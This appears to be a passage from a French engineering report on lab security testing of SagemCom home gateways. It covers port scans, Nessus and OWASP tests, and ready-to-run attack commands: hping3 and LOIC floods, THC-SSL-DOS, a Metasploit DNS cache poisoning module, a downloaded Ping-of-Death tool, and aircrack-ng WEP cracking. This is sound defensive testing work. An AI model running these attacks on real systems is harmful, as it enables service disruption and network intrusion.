Mise en place d’une solution de tests de sécurité des TRs

Présentation des résultats du scan
Zenmap présente les résultats de scan d’une façon claire en mettant en évidence les informations importantes (Voir figure 25).

Figure 24 Résultat d’un simple scan des ports et services

Test2 : scan des services
En se basant sur les résultats du premier test, nous essayons de déterminer le nom et la version des services tournant sur le TR. Comme prévu, il existe certains service qui tournent sur un port non standard. Avec Nmap, nous lançons cette commande :
nmap -p 20,21 -sV -v 192.168.1.1

 

-sV : Détection des services.

Remarque :
Il existe plusieurs autres options offertes par nmap pour la détection des services comme l’option « --version-intensity <intensity> ». La valeur d'intensité doit être comprise entre 0 et 9, la valeur par défaut étant le 7.  La détection des services n’est pas toujours efficace, surtout si la cible est un équipement réseaux contrairement aux serveurs et aux PCs car les services des TRs sont spécifiques. Pour les versions des services non reconnus, Nmap génère une signature de service afin de contribuer et améliorer la base de données des services utilisée par Nmap (Voir Figure 25).

Page 54

Chapitre 4 Test3 : détection d’OS

Mise en place d’une solution de tests de sécurité des TRs

La détection d’OS est importante pour les étapes qui suivent dans le pentesting. Les résultats de ce test et du test 2 nous aident à acheminer notre recherche dans les failles et les vulnérabilités possibles sur les TRs car il est inutile de tester des attaques et des exploits sur des services sans connaitre l’OS. Les attaques sont généralement dédiées pour un système d’exploitation bien défini. La commande permettant la détection d’OS sous Nmap est :
nmap -O -v 192.168.1.1

 

-O : détection d’OS.

Remarque :
La détection d’OS n’est efficace que s’il existe au moins un port ouvert et un autre fermé sur le système scanné. L’option --osscan-limit ne permet la détection d’OS que si le critère cidessus n’est présent.  Dans certain cas, Nmap n’arrive pas à détecter l’OS exacte de la cible, pour cela il offre l’option--osscan-guess ou --fuzzy pour générer plusieurs possibilités avec des pourcentages de certitude (Voir figure 25).

Figure 25 Exemple détection d'OS

2.1.3. Profils de scan Zenmap
Les tests décrits ci-dessus ont pour but d’éviter le gaspillage de temps car chaque test aboutie à un résultat spécifique. Nous pouvons combiner tous ces types de scan dans un seul en utilisant les profils de scan Zenmap :

Page 55

Chapitre 4 Intense scan, all TCP ports:

Mise en place d’une solution de tests de sécurité des TRs

nmap -p 1-65535 -T4 -A -v 192.168.1.1

   

-p : les ports à scanner. -T4 : Timing (0-5), Faster execution. -A : Scan agressif, détection du système d’exploitation et les versions des services, script scanning et traceroute. -v : mode « Verbose ».

Intense scan plus UDP:
nmap -sS -sU -T4 -A -v 192.168.1.1

   

-sS : TCP SYN Scan -sU : UDP Scan -T4 : Timing (0-5), Faster execution. -A : Scan agressif, détection du système d’exploitation et les versions des services, script scanning et traceroute.

Slow comprehensive scan :
Dans ce profil de scan, tous les ports TCP et UDP sont scannés ainsi que les versions des services et tous les scripts sont utilisés. Nmap offre la possibilité du « Scripting Scan ». Cette fonctionnalité permet l’automatisation des scans personnalisés. Par défaut, « nmap » offre une grande bibliothèque des scripts tels que détection des vulnérabilités, des backdoors, des exploitations sur certains services, etc.
nmap -sS -sU -T4 -A -v -PE -PS -PA -PU --script all 192.168.1.1

   

-PE : ping echo pour voir si la machine répond ou pas. -PS : Découverte TCP SYN. -PA : Découverte TCP ACK. -PU22 : Découverte UDP.

2.2.

Scan des vulnérabilités

Dans cette partie nous parlons de deux types de scanneurs : scanneur des vulnérabilités automatiques et des scanneurs des vulnérabilités web.

22

Les options PS/PA/PU peuvent être utilisées en spécifiant les numéros des ports à tester, ou scanner les ports par défauts s’ils sont utilisés sans arguments.

Page 56

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

2.2.1. Scanneurs des vulnérabilités automatiques
Dans le chapitre précédent nous avons listé plusieurs scanneurs. En se basant sur l’étude comparative, nous choisissons la version gratuite de Nessus car elle est extensible et personnalisable et offre les fonctionnalités nécessaires pour nos tests, au contraire des autres scanneurs (exemple : OpenVas est extensible mais il se base sur des outils qui nécessite une installation et une configuration additionnelles). 2.2.1.1. Outil de tests

Sous BackTrack Nessus est installé par défaut, il ne reste que son activation. Pour ce faire, il faut récupérer la clé d’activation du site officiel. Il faut ensuite utiliser ces commandes qui nécessitent une connexion internet.
root@bt:~# /opt/nessus/bin/nessus-fetch --register M4D0-EWWQ-1EZU-3KSN Your activation code has been registered properly - thank you. Now fetching the newest plugin set from plugins.nessus.org... Your Nessus installation is now up-to-date. If auto_update is set to 'yes' in nessusd.conf, Nessus will update the plugins by itself.

Il faut créer d’abord un utilisateur administrateur pour Nessus :
root@bt:~# /opt/nessus/sbin/nessus-adduser Login : root Login password : Login password (again) : Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...) (y/n) [n]: y User rules ---------nessusd has a rules system which allows you to restrict the hosts that carlos has the right to test. For instance, you may want him to be able to scan his own host only. Please see the nessus-adduser manual for the rules syntax Enter the rules for this user, and enter a BLANK LINE once you are done : (the user can have an empty rules set) Login : root Password : *********** This user will have 'admin' privileges within the Nessus server Rules : Is that ok ? (y/n) [y] User added

Ensuite lancer Nessus :
root@bt:~# /etc/init.d/nessusd start Starting Nessus : .

Le service Nessus tourne sur le port 8834 en utilisant son propre certificat. En accédant sur https://localhost:8834/, un utilisateur peut se connecter pour démarrer, créer ou configurer un scan ou un profile de scan (Voir figure 27).

Page 57

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 26 Page de connexion

2.2.1.2.

Tests réalisés

L’utilisation des profils par défaut est un gaspillage de temps puisqu’ils utilisent tous les plugins disponibles y comprit ceux de Windows et quelques technologies non utilisées dans les systèmes embarqués. Pour cela, il est indispensable de créer nos propres profils de scan.

Figure 27 Créer profile

Test4 : Scan à partir du LAN
Dans ce scan, nous utilisons trois politiques de scans :  Customized Internal Network Scan : c’est une politique de scan personnalisée basée sur « Internal Network Scan ». Afin d’optimiser le scan nous désactivons les plugins relatifs à Windows et au VMWare, car nous savons d’avance que l’OS de la GW est basé sur LINUX. Pour ce faire, nous accédons sous Preferences -> Global variable settings puis nous cochons « Throrough tests (slow) » pour forcer Nessus à continuer l’exploit s’il trouve une faille. Sous Preferences -> HTTP login page nous remplissons les champs avec les informations

Page 58

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

nécessaires. (ces informations peuvent être récupérées en utilisant le plugin Firefox « Live HTTP Headers »23 et « firebug »24)

Figure 28 Configuration des plugins

 

Web App Tests : est un profil pour scanner les applications WEB. Prepare for DCI PSS audits: est un profil pour un scan des vulnérabilités respectant les clauses d’audit DCI PSS.

Test5 : Scan à partir du WAN
Dans le scan réalisé à partir d’un PC WAN, nous utilisons une seule politique de scan :  Customized External Network Scan : Politique personnalisée basée sur la politique par défaut «External Network Scan », nous désactivons les plugins Windows et VMWare. Sous Preferences -> Global variable settings nous cochons « Throrough tests (slow) » pour forcer Nessus à continuer l’exploit s’il trouve une faille.

Résultat de scan :
Les résultats des scans peuvent être exportés vers plusieurs types de fichiers: Nessus, HTML, etc. Les fichiers Nessus sont des fichiers XML. Ils peuvent être utilisés par d’autres outils tels que Metasploit (Voir Annexe 3 et Annexe 4). Les rapports des scans sont clairement représentés. Ils sont classés par numéro de port pour le quel est associé l’ensemble possibles des failles avec leur sévérité.

23 24

Plugin Firefox qui détecte et analyse les requêtes HTTP. Plugin Firefox qui analyse et modifie le contenu de la page web. Il offre une console JavaScript.

Page 59

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 29 Exemple du résultat

2.2.2. Scanneurs des vulnérabilités Web
Dans cette partie nous nous concentrons sur les scanneurs des vulnérabilités web. Comme il est présenté dans le chapitre précédent, les scanneurs disponibles sur le marché ne sont pas utiles à 100% dans notre cas. Pour cela, nous réalisons des tests manuels, en suivant la méthode OWASP. 2.2.2.1. Outils de tests

Nikto peut être intégré avec Nessus, dans ce cas Nessus se charge de faire le plus grand nombre de scans avec Nikto. Cela peut nous faire gagner énormément de temps dans les tests et centraliser le résultat dans Nessus. Pour cela il faut vérifier bien que le fichier « nikto.nasl » existe dans «/opt/Nessus/lib /nessus/plugins ».
ls -l /opt/nessus/lib/nessus/plugins/nikto.nasls /opt/nessus/sbin/nessusd -R // pour redémarrer Nessus

L’utilisation d’un proxy web est nécessaire pour la réalisation des tests. Dans notre cas, nous utilisons le proxy OWASP-ZAP qui permet la réception, l’analyse et même la modification de requêtes envoyées vers le TR. Pour cela il faut configurer le navigateur pour qu’il se connecte via le proxy. 2.2.2.2. Tests réalisés

Test4: Fuzzing avec OWASP -ZAP
L’utilisation de ce proxy web nous aide à faire des tests sur la GUI après l’authentification. Avec ZAP, nous réalisons un test de « fuzzing ». Dans ce test nous allons intercepter les requêtes

Page 60

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

envoyées vers le TR lors de sa configuration à partir de la GUI puis nous injectons des données avec une taille importante (exemple : 700 000 caractères, ‘a’ par exemple)

Figure 30 Exemple Fuzzing

Le but de ce test est de vérifier si le TR fait un contrôle sur les données reçues ou se limite au contrôle réalisé coté client. Ci-dessous nous présentons quelques tests réalisés en suivant la méthode OWASP [23]. ID-OWASP owasp-cm-001 owasp-cm-008 owasp-at-002 owasp-at-004 Tests SSL/TLS Méthodes HTTP supportées par le serveur énumérer les utilisateurs brute force Attack sur le login et mot de passe Outils THC-SSL-DOS Nessus Plugin id: 43111 hydra Description Attaque DOS ciblant le service SSL GET HEAD POST, reste à vérifier par un autre outil. la méthode TRACE n'est pas acceptée réaliser plusieurs essaie de connexion avec des différentes combinaisons. l'authentification au gui et de type "HTTP form based authentification" et utilise deux nombres aléatoirement pour chaque session à ouvrir.

Tableau 9 Tests owasp réalisés

Test5: owasp-cm-001 SSL/TLS
Ce test cible le service SSL sur le TR, en se basant sur les résultats de scan des services. Avec l’outil « THC-SSL-DOS » nous lançons plusieurs demandes de connexions sécurisées25 sur le TR sans attendre la réponse (même principe de l’attaque SYN Flood).
./thc-ssl-dos <@IP> <n° port>

Le but de ce test est de vérifier le comportement de TR après une telle attaque notamment la stabilité de ces différents services.

25

L’établissement d’une connexion SSL requit 15x plus de performance pour le serveur que pour le client [19].

Page 61

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Test6: owasp-cm-008 Méthodes HTTP supportés
Certaines méthodes http (pour préciser la méthode TRACE) peuvent aider à la réalisation de quelques attaques comme XSS (Cross Site Scripting), XST (Cross Site Tracing). Pour cela il y a deux méthodes :   Automatique : avec Nessus, après la détection d’un ou de services HTTP, il détermine les méthodes autorisées à l’aide du plugin n°43111. Manuelle : à l’aide d’un client Telnet ou avec netcat, nous pouvons connaître ces méthodes :

nc www.victim.com 80 OPTIONS / HTTP/1.1 Host: www.victim.com HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Tue, 31 Oct 2006 08:00:29 GMT Connection: close Allow: GET, HEAD, POST, TRACE, OPTIONS Content-Length: 0

Test7: owasp-at-004 énumérer les utilisateurs
Ce test à pour but de lister les utilisateurs possibles sur le système (TR dans notre cas). Ce scénario ne nécessite aucun outil. Il suffit de tester plusieurs combinaisons de login et mot de passe puis analyser les réponses du serveur (Utilisateur valide / mot de passe non valide, utilisateur non valide/ mot de passe non valide, etc).

Test8: owasp-at-004 brute force attack
Le but de ce test est de déterminer le mot de passe d’un utilisateur. Ce teste vise à vérifier si les TRs implémentent un mécanisme contre ce type d’attaque ou non. Avant d’entamer l’attaque, nous devons d’abord déterminer à partir du code source de la page d’authentification la méthode d’authentification (authentification HTTP ou authentification basé sur le « FORM »). Dans notre cas le TR utilise deux nombres aléatoires pour chaque session à ouvrir. Donc la réalisation de cette attaque nécessite des outils très sophistiqués qui offrent la possibilité de récupération des paramètres après chaque essai de connexion et de les injecter dans une nouvelle requête à envoyer.

2.3.

Attaques et exploits

Dans cette partie, en se basant essentiellement sur les résultats de scan des ports nous procédons comme suit : tout d’abord nous déterminons les ports ouverts sur le système ensuite nous identifions les versions des services et enfin son OS. Ces trois informations sont très utiles pour orienter les tests dans le bon sens sans perdre du temps. Dans ce qui suit nous réalisons un ensemble des tests nécessaires pour garantir la robustesse des TRs SagemCom contre les nouvelles attaques ainsi que les anciennes.

Page 62

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

2.3.1. Outils de tests
LOIC : il est dédié pour les attaques de type DDOS, déjà utilisé par « Anonymous » lors de leurs attaques sur les sites gouvernementaux pendant la révolution Tunisienne en décembre 2010 et beaucoup d’autres attaques utilisées un peu partout dans le monde. Pour effectuer cette attaque, il tente d'attaquer par déni de service distribué (DDOS ) le site ciblé en inondant le serveur avec des paquets TCP, des paquets UDP, ou des demandes HTTP avec l'intention de perturber le service d'un hôte particulier [24]. UnrealIRC : c’est un serveur de messagerie instantanée basé sur le protocole de communication textuelle sur internet (Internet Relay Chat : IRC) qui permet à des clients IRC de créer une connexion avec une machine distante considérée comme le serveur IRC. Il sert à la communication instantanée principalement sous la forme de discussions en groupe par l’intermédiaire des canaux de discussion et peut jouer comme dans notre cas le rôle d’un serveur C&C : command and control server. UnrealIRCd est riche en fonctionnalités, citons comme exemple le server-to-server linking, l’auditing mais aussi le filtrage de message. XChat IRC : C’est un client IRC utilisé par l’administrateur de l’attaque pour contrôler les clients LOIC (paramétrage des cibles, le type de l’attaque : HTTP, TCP, UDP, etc). Hping : C’est un générateur de paquets et un outil d’audit sécurité. « hping » peut être utilisé pour lancer des attaques de type DDOS telles que Syn Flood, UDP Flood et ICMP Flood. Afin de réaliser des attaques efficaces, nous lançons les tests de plusieurs machines en même temps.

2.3.2. Tests réalisés
Test9: (TCP/UDP/HTTP Flood) Topologie du réseau IRC Server:
      OS: Linux (Back Track 5). Adresse IP: 192.168.1.2/24. Applications et services : Serveur IRC « UnrealIRCD ».

PC Desktop # et PC Portable:
OS: Windows XP SP2, Windows Vista et Linux (Back Track 5). Adresse IP: 192.168.1.[3-8]/24. Applications et services : LOIC V 1.1.1.25.

Page 63

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 31 Architecture réseau de l'attaque

Procédure de l’attaque
Nous vérifions bien que « unreal » est en cours d’exécution. Par la suite, nous créons un canal IRC et nous lançons le client IRC « XChat » puis nous configurons le serveur sur lequel nous allons nous connecter. Nous choisissons le serveur et nous appuyons sur « Connect » puis nous créons le canal « #sagemseclabDDOS » dont les clients IRC dans notre cas « LOIC ». Les clients IRC connectés sur le canal sont affichés à droite (Voir figure 33).

Figure 32 Fenetre XCHAT (Administrateur)

Page 64

Chapitre 4 Configuration du LOIC

Mise en place d’une solution de tests de sécurité des TRs

Sur les machines Windows, il suffit d’exécuter « LOIC » (Voir figure 34).

Figure 33 Interface LOIC

Sur les machines « BackTrack 5», nous pouvons exécuter LOIC en accédant au dossier et en ajoutant le droit d’exécution au fichier « LOIC.exe » puis en le lançant avec la commande « wine ».
cd /root/Desktop/tools/loic.v1.1.1.25 chmod +x LOIC.exe wine LOIC.exe

Lancement de l’attaque
Depuis le client XCHAT, l’administrateur du canal, lance l’attaque avec l’envoi de cette commande aux clients :
!lazor targetip=192.168.1.1 message=DDOS_ATTACK port=80 method=tcp wait=false random=true start

    

targetip: le serveur web cible. message : sera mit dans la partie donnée du paquet tcp ou udp. port : port 80 du serveur web. methode : tcp, udp ou http. start : pour lancer l’attaque.

Page 65

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 34 Lancement de l'attaque

Test10 : (SYN/UDP/ICMP Flood) Scénario 1 : SYN Flood
L’envoi des paquets SYN successifs sans attendre la réponse du serveur engendre la mise hors service de la GW pendant et après l’attaque. Le but de cette attaque est de mettre hors service la GUI.
hping3 –S –p 80 –i u10 192.168.1.1

  

-S : Paquets « SYN ». -p : le port destination 80. -i : le nombre de paquets envoyés par seconde est u10 signifiant un paquet chaque microseconde (1paquet/µSec).

Scénario 2 : UDP Flood
Cette attaque à pour but d’envoyer plusieurs paquets UDP sur un port bien précis. Dans notre cas le but est d’attaquer le serveur DHCP de la GW.
hping3 –-udp –s 68 –p 67 –i u10 192.168.1.1

   

--udp : envoi des paquets UDP. -s : Port source, 68 protocole « DHCP ». -p : Port destination, 67 protocole « DHCP ». -i : u1, 1 paquet/µS.

Page 66

Chapitre 4 Scénario 3 : ICMP Flood

Mise en place d’une solution de tests de sécurité des TRs

L’attaque ICMP Flood consiste à envoyer plusieurs paquets ICMP de type (echo Request) avec des adresses IP différentes vers un serveur.
hping3 –-icmp –i u1 --rand-source 192.168.1.1

 

--icmp : le type des paquets à forger. --rand-source : envoie des paquets avec des adresses IP spoofées.

Test11 : Dns cache poisoning
Cette attaque consiste à modifier le cache d’un serveur DNS afin d’orienter les demandes des connexions vers un serveur malicieux autre que le serveur demandé.

Etape d’attaque :
   Un utilisateur malicieux envoie une requête DNS à son serveur de noms associée (SERVER A) pour résoudre le nom de domaine (example.com). Si (SERVER A) n’a pas l’adresse IP associé au nom de domaine, il envoie une requête DNS à un autre serveur DNS (SERVER B) et ainsi de suite jusqu'à trouver l’adresse IP demandée. L’attaquant envoie plusieurs milliers de réponses DNS au (SERVER A) avec l’adresse spoofée du (SERVER B) avec des identifiants aléatoires. L’adresse IP contenue dans la réponse est celle d’un autre serveur (appartenant à l’attaquant)   Etant donné l’attaque est réussite (SERVER A), ce dernier écrit dans son cache adresse IP de l’attaquant. Toutes les nouvelles demandes de résolution du (example.com) seront répondues par une fausse adresse IP.

Vulnérabilité :
Version : BIND 9.6.1-P2. Avec « DNSSEC validation enabled », « checking disabled (CD) » où le serveur supporte les requêtes récursives est vulnérable pour une attaque de type « DNS Cache Poisoning ». L’exploit de cette faille est disponible sur le site « Exploit Database » ou directement sur « Metasploit Framework 3 » [25].

Scénario de test :
   Scanner les ports ouverts sur la passerelle afin de déterminer la version du serveur DNS implémenté s’il existe. Attaque DNS cache poisoning (l’utilisation de l’exploit selon la version de serveur DNS) Le résultat de test doit être comme suit: modifier le cache DNS afin de fournir l’adresse IP Google.fr au lieu de l’adresse Yahoo.fr.

Page 67

Chapitre 4 Exploitation :

Mise en place d’une solution de tests de sécurité des TRs

Avant de lancer l’exploit, nous devons déterminer les ports ouverts sur la passerelle pour déterminer la version du serveur DNS s’il existe.
nmap -sU -sV -p53 -T4 192.168.0.1

Starting Nmap 5.51 ( http://nmap.org ) at 2011-10-21 12:08 CET Warning: 192.168.0.1 giving up on port because retransmission cap hit (6). Nmap scan report for HomeGateway.home (192.168.0.1) Host is up (0.00089s latency). Not shown: 1982 closed ports PORT STATE SERVICE VERSION 80/tcp open http? 2222/tcp open EtherNet/IP-1? 53/udp open domain ISC BIND 9.6.1-P2 67/udp open|filtered dhcps 68/udp open|filtered dhcpc ……………

Remarque :
  Les résultats du scan ne sont pas toujours justes, c’est le cas de ce scan car la passerelle est joue le rôle d’un « DNS Relay ». Pour déterminer l’adresse IP du serveur google.fr, on exécute les commandes suivantes :

ping www.google.fr

Envoi d'une requête 'ping' sur www.l.google.com [74.125.39.147] avec 32 octets

Pour tester l’exploit sur le serveur « Bind 9.6.1-P2 », sous le terminal nous lançons « metasploit » :
cd /pentest/exploits/framework3/ ./msfconsole

, , / \ ((__---,,,---__)) (_) O O (_)_________ \ _ / |\ o_o \ M S F | \ \ _____ | * ||| WW||| ||| ||| =[ + -- --=[ + -- --=[ =[ metasploit v4.1.0-release [core:4.1 api:1.0] 748 exploits - 384 auxiliary - 92 post 228 payloads - 27 encoders - 8 nops svn r13994 updated 6 days ago (2011.10.18)

Pour lancer l’exploit nous exécutons les commandes « Metasploit » suivantes :26

26

Le ou les serveurs DNS utilisés par le TR peuvent être récupérés à partir de la GUI.

Page 68

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

msf > use auxiliary/spoof/dns/bailiwicked_host msf auxiliary(bailiwicked_host) > show options Module options (auxiliary/spoof/dns/bailiwicked_host): Name Current Setting -----------------HOSTNAME pwned.example.com INTERFACE NEWADDR 1.3.3.7 RECONS 208.67.222.222 RHOST SNAPLEN 65535 SRCADDR Real queries (accepted: Real, Random) SRCPORT automatic) Configurer les paramètres : TIMEOUT 500 TTL 31556 msfXIDS auxiliary(bailiwicked_host) 0 hostname => yahoo.fr automatic) msf auxiliary(bailiwicked_host) newaddr => 74.125.39.147 msf auxiliary(bailiwicked_host) rhost => 192.168.0.1 msf auxiliary(bailiwicked_host) recons => 10.64.16.3 msf auxiliary(bailiwicked_host) Required -------yes no yes yes yes yes yes yes

Le nom de domaine à modifier

Description La nouvelle adresse IP, dans ----------notre cas 74.125.39.147 Hostname to hijack The name of the interface Le DNS utilisé par la passerelle New address for hostname The nameserver used for reconnaissance L’adresse IP de la victime The target address The number of bytes to capture The source address to use for sending the The target server's source query port (0 for

yes The number of seconds to wait for new data yes The TTL for the malicious host entry > set hostnamenumber of XIDs to try for each query (0 for yes The yahoo.fr > set newaddr 74.125.39.147 > set rhost 192.168.0.1 > set recons 10.64.16.3 > show options

Module options (auxiliary/spoof/dns/bailiwicked_host): Name Current Setting -----------------HOSTNAME yahoo.fr INTERFACE NEWADDR 74.125.39.147 RECONS 10.64.16.3 RHOST 192.168.0.1 SNAPLEN 65535 SRCADDR Real queries (accepted: Real, Random) SRCPORT automatic) TIMEOUT 500 TTL 31556 XIDS 0 automatic) Required -------yes no yes yes yes yes yes yes yes yes yes Description ----------Hostname to hijack The name of the interface New address for hostname The nameserver used for reconnaissance The target address The number of bytes to capture The source address to use for sending the The target server's source query port (0 for The number of seconds to wait for new data The TTL for the malicious host entry The number of XIDs to try for each query (0 for

La commande « check » vérifie l’exploit avant de le lancer sur la cible. Elle permet de déterminer si le serveur DNS est vulnérable à cette attaque ou non :
msf auxiliary(bailiwicked_host) > check

[*] Using the Metasploit service to verify exploitability... [-] ERROR: This server is not replying to recursive requests

Test12: Attaque Ping Of Death Description:
L’attaque consiste à envoyer un ou plusieurs paquets ICMP de type echo-request dont la taille est supérieure à 65507 Octets. Les paquets sont alors fragmentés. Cette attaque provoque l’arrêt du système d’exploitation [26]. Les systèmes vulnérables sont :  Windows (95, NT, 3.11).

Page 69

Chapitre 4
    MSDOS. Mac OS 7. Solaris (x86) 2.4 & 2.5. Linux Kernel <= 2.0.23.

Mise en place d’une solution de tests de sécurité des TRs

Outils :
PingOfDeath.c est un code source développé par Jeff w.Roberson, téléchargeable à partir du site Inifinity Exists. Cet outil permet d’envoyer des paquets ICMP fragmentés avec une adresse IP spoofée.

Procédure de l’attaque :
 Téléchargement du code source :

wget http://infinityexists.com/downloads/PingOfDeath-Jolt.c

--2011-10-12 16:55:31-- http://infinityexists.com/downloads/PingOfDeath-Jolt.c Resolving infinityexists.com... 69.163.252.17 Connecting to infinityexists.com|69.163.252.17|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 4013 (3.9K) [text/x-c] Saving to: `PingOfDeath-Jolt.c.1' 100%[========================================================>] 4,013 0.3s 2011-10-12 16:55:32 (13.8 KB/s) - `PingOfDeath-Jolt.c.1' saved [4013/4013] 13.8K/s in

Compilation du code et génération de l’exécutable « PoD » :

gcc PingOfDeath-Jolt.c -o PoD

Exécution de l’attaque :

./PoD 192.168.1.1 1.1.1.1

Sending Sending Sending Sending Sending

to to to to to

192.168.1.1 192.168.1.1 192.168.1.1 192.168.1.1 192.168.1.1

o o

192.168.1.1 : Adresse de la GW. 1.1.1.1 : Adresse spoofée.

Page 70

Chapitre 4 Résultat de l’attaque :

Mise en place d’une solution de tests de sécurité des TRs

Ci-dessous, un imprime écran du sniffeur Wireshark pendant l’attaque :

Figure 35 Capture de trafic lors de l'attaque

2.3.3. Anciennes attaques
TearDrop Attack
Plus connue sous le nom de Teardrop Attack, Bonk ou encore Boink, cette attaque utilise une faille propre à certaines piles TCP/IP. Cette vulnérabilité concerne la gestion de la fragmentation IP. Ce problème apparaît lorsque la pile reçoit le deuxième fragment d'un paquet TCP contenant comme donnée le premier fragment. La pile TCP/IP peut s'avérer incapable de gérer cette exception et le reste du trafic. Cette faille est très connue sur plusieurs OS27.

Land Attack
Cette attaque consiste à envoyer des paquets dont l’adresse IP et le port source et destination sont les mêmes. Cette attaque affecte les anciens systèmes d’exploitations. Les systèmes vulnérables sont Windows (95, NT 4.0), HP-AIX (<=9.00). Les systèmes Linux ne sont pas vulnérables à cette attaque.
27

OS vulnérables à TearDrop Attack : IBM AIX, WindRiver BSDOS, SGI IRIX, Linux Kernel , Sun Solaris,

IBM OS2, Microsoft Windows 95, Data General DG/UX, Microsoft Windows NT: 4.0, Microsoft Windows 98, Novell NetWare, SCO SCO Unix, Microsoft Windows 98SE, Microsoft Windows 2000, Microsoft Windows Me, Compaq Tru64, Microsoft Windows XP, SCO Caldera OpenLinux: 1.1, Apple Mac OS, Microsoft Windows 2003 Server [27].

Page 71

Chapitre 4 The Tiny Fragment Attack

Mise en place d’une solution de tests de sécurité des TRs

C’est une attaque à fragmentation des paquets sur plusieurs petits fragments dans le but de forcer le décalage de quelques informations de l’entête TCP vers d’autres fragments. Elle engendre l’instabilité des anciens systèmes [28].

Zero length IP
Cette attaque permet à un attaquant à distance d’envoyer des milliers de paquets IP avec une taille nulle. Ceci provoque le crash de quelques système (Linux Kernel => à 2.2.4 ne sont plus vulnérables à cette attaque) [35].

WinNuke Attack
Cette attaque provoque le crash de quelques systèmes d’exploitation Windows [29].

Smurfing attack
C’est une attaque de type DDOS où l’attaquant envoie en diffusion sur le réseau une requête ICMP de type echo-request avec l’adresse spoofée de la victime. La réponse simultanée de toutes les machines du réseau provoque l’instabilité du système. Cette attaque ne présente aucun risque face à la puissance actuelle des machines [30].

IP Spoofing
Cette technique (Voir figure 37) permet de cacher la vraie identité d’un attaquant lors de son attaque. L’IP Spoofing est la base de plusieurs attaques. Dans notre cas nous étudions l’attaque vol de session ou en anglais « Hjacking ». Cette attaque sert à voler la session de connexion entre un serveur et une machine de confiance [31].

Figure 36 Attaque à base de l’IP Spoofing

Page 72

Chapitre 4 Remarque :

Mise en place d’une solution de tests de sécurité des TRs

Pour garder la connexion avec le serveur, il existe plusieurs techniques:    Sniffing sur le réseau, puis réalisiation de statistiques permettant la prédiction du bon numéro de séquence (la plupart des machines actuelles ne permet pas cette option). L’exploitation de l’option « Source Routing » du protocole IP afin de définir le chemin de retour des paquets envoyés. « Blind attack » basée sur la prédiction de numéro de séquence. Après un scan intensif avec nmap (Voir Test2: Scan des services) l’indice de difficulté est très haut « TCP Sequence Prediction », cela indique que la prédiction est presque impossible et demande des algorithmes très sophistiqués ainsi qu’une bande passante énorme [32].
TCP Sequence Prediction: Difficulty=204 (Good luck!)

3. Module UPnP
3.1. Présentation des tests

Dans le chapitre précédent, nous avons présenté le protocole UPnP ainsi que les risques qu’il peut présenter pour les TRs. Dans cette partie, nous fixons quelques tests pour vérifier la sécurité des TRs liée à l’activation d’UPnP. Ces tests visent les IGD et ils sont répartis comme suit :   Test12: ajout d’une règle portmapping invalide. Test13 : injection du code.

3.2.
But

Tests realisés

Test13: ajout d’une règle portmapping invalide

Le but de ces tests est de vérifier si les TRs sont vulnérables aux attaques UPnP connus.

Déroulement de test
Tous d’abord nous devons déterminer les équipements UPnP disponibles avec l’outil « UGUPnP Universal Control Point ».

Page 73

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Figure 37 Détection des équipements UPnP sur le réseau

Par la suite, nous vérifions l’existence du profile « WANIPConnection ». S’il existe nous choisissons l’action « AddPortMapping » et nous essayons d’ajouter une règle port mapping dont l’attribue « NewInternelClient = 8.8.8.8».

Figure 38 Action AddPortMapping

Enfin, nous vérifions si cette règle est ajoutée ou pas avec l’une de ces deux méthodes :  GetGenericPortMappingEntry : action pour la récupération d’une règle portmapping, elle prend en entrée l’index de la règle et retourne ses différents attribues.

Page 74

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

GetSpecificPortMappingEntry : action pour la récupération d’une règle portmapping, elle prend en entrée le numéro du port distant, l’adresse IP destination et le protocole et retourne ses différents attribues.

Figure 39 Actions GetSpecificPortMapping et GetGenricPortMapping

Test14: injection du code
Même étape à suivre de l’autre test, mais au lieu d’utiliser une autre adresse IP, nous injectons un code ou une commande. Etant donner que les systèmes d’exploitation de la plus part des équipements réseau sont basés sur « Linux Kernel » nous essayons quelques commandes connus comme « reboot », « halt », etc. Dans nos tests, nous procédons de deux manières différentes. En effet, nous utilisons la méthode « Black Box » et nous injectons des commandes linux d’une façon aléatoire. Aussi, nous utilisons la méthode « White Box » et nous injectons des commandes qui existent réellement sur l’OS du TR.

4. Module WIFI
4.1. Présentation des tests

Pour le module WIFI, nous réalisons les attaques les plus connues dans le monde du WIFI.   Test14 : Craquage des clés de chiffrement. Test15 : Perturbation des connexions.

Page 75

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

4.2.

Tests réalisés

Test15 : Craquage des clés de chiffrement
Les TRs SagemCom offre deux types de chiffrement (WEP et WPA). Comme il est décrit dans le chapitre précédent, le craquage des clés WEP est très simple vu la faiblesse dans l’algorithme de chiffrement. Par contre, le craquage des clés WPA/WPA2 est impossible 28 sauf avec une attaque de type dictionnaire (nécessite la détection d’authentification d’un client).

Scénario 1 : Craquage clé WEP
Cette attaque est très connue et il existe une gamme complète d’outils permettant sa réalisation d’une façon automatique. Ci-dessous, nous décrivons le déroulement du scénario : Activer la carte wifi en mode monitor :
airmon-ng start wifi0 6

6 : canal d’écoute

Capturer le trafic avec la commande airodump-ng :
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w output wifi0

  

-c 6: Commencer l’écoute sur le canal numéro 6 --bssid : adresse MAC du point d’accès. -w : fichier de captures. Utiliser aireplay-ng pour réaliser des fausses authentifications avec le point d’accès. Le but de

cette étape est d’associer l’adresse mac au point d’accès :
aireplay-ng -1 0 -e sagemseclab -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

   

-1 : envoi des requêtes d’authentification au point d’accès. -e : nom du réseau. -a : adresse MAC du point d’accès. -h : adresse MAC source.

28

